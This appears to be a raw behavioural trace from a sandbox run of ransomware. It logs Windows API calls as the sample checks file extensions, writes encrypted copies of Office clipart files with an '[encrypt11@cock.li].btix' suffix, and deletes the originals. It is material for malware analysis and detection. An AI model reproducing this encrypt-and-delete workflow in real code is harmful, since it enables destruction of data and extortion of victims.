[0148.942] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.942] lstrlenW (lpString=".7z") returned 3 [0148.942] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0148.942] lstrlenW (lpString=".dbf") returned 4 [0148.942] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0148.942] lstrlenW (lpString=".1cd") returned 4 [0148.942] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0148.942] lstrlenW (lpString=".jpg") returned 4 [0148.942] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.942] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0148.942] lstrlenW (lpString="J0099146.WMF") returned 12 [0148.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.942] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=16596) returned 1 [0148.942] CloseHandle (hObject=0x384) returned 1 [0148.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 0x220 [0148.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0148.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0148.943] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.943] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0148.943] GetLastError () returned 0x0 [0148.943] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x40d4, lpOverlapped=0x0) returned 1 [0149.291] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x40e0, lpOverlapped=0x0) returned 1 [0149.292] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.292] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0149.292] SetEndOfFile (hFile=0x388) returned 1 [0149.293] CloseHandle (hObject=0x388) returned 1 [0149.293] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.293] SetEndOfFile (hFile=0x384) returned 1 [0149.294] CloseHandle (hObject=0x384) returned 1 [0149.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0149.294] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 1 [0149.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0149.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0149.294] lstrlenW (lpString=".doc") returned 4 [0149.294] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.294] lstrlenW (lpString=".docx") returned 5 [0149.294] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0149.294] lstrlenW (lpString=".pdf") returned 4 [0149.294] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.295] lstrlenW (lpString=".xls") returned 4 [0149.295] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.295] lstrlenW (lpString=".xlsx") returned 5 [0149.295] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0149.295] lstrlenW (lpString=".ppt") returned 4 [0149.295] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0149.295] lstrlenW (lpString=".zip") returned 4 [0149.295] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.295] lstrlenW (lpString=".rar") returned 4 [0149.295] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.295] lstrlenW (lpString=".bz2") returned 4 [0149.295] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.295] lstrlenW (lpString=".7z") returned 3 [0149.295] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0149.295] lstrlenW (lpString=".dbf") returned 4 [0149.295] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0149.295] lstrlenW (lpString=".1cd") returned 4 [0149.295] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0149.295] lstrlenW (lpString=".jpg") returned 4 [0149.295] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0149.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0149.295] lstrlenW (lpString=".doc") returned 4 [0149.295] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0149.295] lstrlenW (lpString=".docx") returned 5 [0149.296] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0149.296] lstrlenW (lpString=".pdf") returned 4 [0149.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0149.296] lstrlenW (lpString=".xls") returned 4 [0149.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0149.296] lstrlenW (lpString=".xlsx") returned 5 [0149.296] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0149.296] lstrlenW (lpString=".ppt") returned 4 [0149.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0149.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0149.296] lstrlenW (lpString=".zip") returned 4 [0149.296] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0149.296] lstrlenW (lpString=".rar") returned 4 [0149.296] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0149.296] lstrlenW (lpString=".bz2") returned 4 [0149.296] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0149.296] lstrlenW (lpString=".7z") returned 3 [0149.296] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0149.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0149.296] lstrlenW (lpString=".dbf") returned 4 [0149.296] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0149.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0149.296] lstrlenW (lpString=".1cd") returned 4 [0149.296] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0149.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0149.296] lstrlenW (lpString=".jpg") returned 4 [0149.296] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0149.296] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0149.296] lstrlenW (lpString="J0099161.JPG") returned 12 [0149.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0149.297] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=7154) returned 1 [0149.297] CloseHandle (hObject=0x384) returned 1 [0149.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 0x220 [0149.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0149.297] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.297] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0149.298] GetLastError () returned 0x0 [0149.298] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x1bf2, lpOverlapped=0x0) returned 1 [0149.299] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x1c00, lpOverlapped=0x0) returned 1 [0149.300] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.301] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0149.301] SetEndOfFile (hFile=0x388) returned 1 [0149.301] CloseHandle (hObject=0x388) returned 1 [0149.301] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.301] SetEndOfFile (hFile=0x384) returned 1 [0149.302] CloseHandle (hObject=0x384) returned 1 [0149.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0149.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 1 [0149.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0149.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0149.302] lstrlenW (lpString=".doc") returned 4 [0149.302] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.302] lstrlenW (lpString=".docx") returned 5 [0149.302] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0149.302] lstrlenW (lpString=".pdf") returned 4 [0149.302] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.303] lstrlenW (lpString=".xls") returned 4 [0149.303] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.303] lstrlenW (lpString=".xlsx") returned 5 [0149.303] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0149.303] lstrlenW (lpString=".ppt") returned 4 [0149.303] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0149.303] lstrlenW (lpString=".zip") returned 4 [0149.303] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.303] lstrlenW (lpString=".rar") returned 4 [0149.303] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.303] lstrlenW (lpString=".bz2") returned 4 [0149.303] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.303] lstrlenW (lpString=".7z") returned 3 [0149.303] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0149.303] lstrlenW (lpString=".dbf") returned 4 [0149.303] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0149.303] lstrlenW (lpString=".1cd") returned 4 [0149.303] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0149.303] lstrlenW (lpString=".jpg") returned 4 [0149.303] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0149.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0149.303] lstrlenW (lpString=".doc") returned 4 [0149.303] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.303] lstrlenW (lpString=".docx") returned 5 [0149.303] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0149.303] lstrlenW (lpString=".pdf") returned 4 [0149.303] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.303] lstrlenW (lpString=".xls") returned 4 [0149.303] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.303] lstrlenW (lpString=".xlsx") returned 5 [0149.304] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0149.304] lstrlenW (lpString=".ppt") returned 4 [0149.304] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0149.304] lstrlenW (lpString=".zip") returned 4 [0149.304] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.304] lstrlenW (lpString=".rar") returned 4 [0149.304] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.304] lstrlenW (lpString=".bz2") returned 4 [0149.304] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.304] lstrlenW (lpString=".7z") returned 3 [0149.304] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0149.304] lstrlenW (lpString=".dbf") returned 4 [0149.304] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0149.304] lstrlenW (lpString=".1cd") returned 4 [0149.304] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0149.304] lstrlenW (lpString=".jpg") returned 4 [0149.304] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.304] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0149.304] lstrlenW (lpString="J0099162.JPG") returned 12 [0149.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0149.304] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=19656) returned 1 [0149.304] CloseHandle (hObject=0x384) returned 1 [0149.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 0x220 [0149.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0149.305] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.305] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0149.305] GetLastError () returned 0x0 [0149.305] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x4cc8, lpOverlapped=0x0) returned 1 [0149.306] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0149.307] ReadFile (in: hFile=0x384, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.307] WriteFile (in: hFile=0x388, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0149.307] SetEndOfFile (hFile=0x388) returned 1 [0149.308] CloseHandle (hObject=0x388) returned 1 [0149.308] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.308] SetEndOfFile (hFile=0x384) returned 1 [0149.308] CloseHandle (hObject=0x384) returned 1 [0149.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0149.309] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 1 [0149.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0149.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0149.309] lstrlenW (lpString=".doc") returned 4 [0149.309] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.309] lstrlenW (lpString=".docx") returned 5 [0149.309] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0149.309] lstrlenW (lpString=".pdf") returned 4 [0149.309] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.309] lstrlenW (lpString=".xls") returned 4 [0149.309] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.309] lstrlenW (lpString=".xlsx") returned 5 [0149.309] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0149.309] lstrlenW (lpString=".ppt") returned 4 [0149.309] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0149.309] lstrlenW (lpString=".zip") returned 4 [0149.309] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.309] lstrlenW (lpString=".rar") returned 4 [0149.309] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.309] lstrlenW (lpString=".bz2") returned 4 [0149.310] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.310] lstrlenW (lpString=".7z") returned 3 [0149.310] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0149.310] lstrlenW (lpString=".dbf") returned 4 [0149.310] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0149.310] lstrlenW (lpString=".1cd") returned 4 [0149.310] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0149.310] lstrlenW (lpString=".jpg") returned 4 [0149.310] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0149.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0149.310] lstrlenW (lpString=".doc") returned 4 [0149.310] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.310] lstrlenW (lpString=".docx") returned 5 [0149.310] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0149.310] lstrlenW (lpString=".pdf") returned 4 [0149.310] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.310] lstrlenW (lpString=".xls") returned 4 [0149.310] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.310] lstrlenW (lpString=".xlsx") returned 5 [0149.310] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0149.310] lstrlenW (lpString=".ppt") returned 4 [0149.310] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0149.310] lstrlenW (lpString=".zip") returned 4 [0149.310] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.310] lstrlenW (lpString=".rar") returned 4 [0149.310] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.310] lstrlenW (lpString=".bz2") returned 4 [0149.310] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.310] lstrlenW (lpString=".7z") returned 3 [0149.310] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0149.311] lstrlenW (lpString=".dbf") returned 4 [0149.311] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0149.311] lstrlenW (lpString=".1cd") returned 4 [0149.311] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.311] lstrlenW 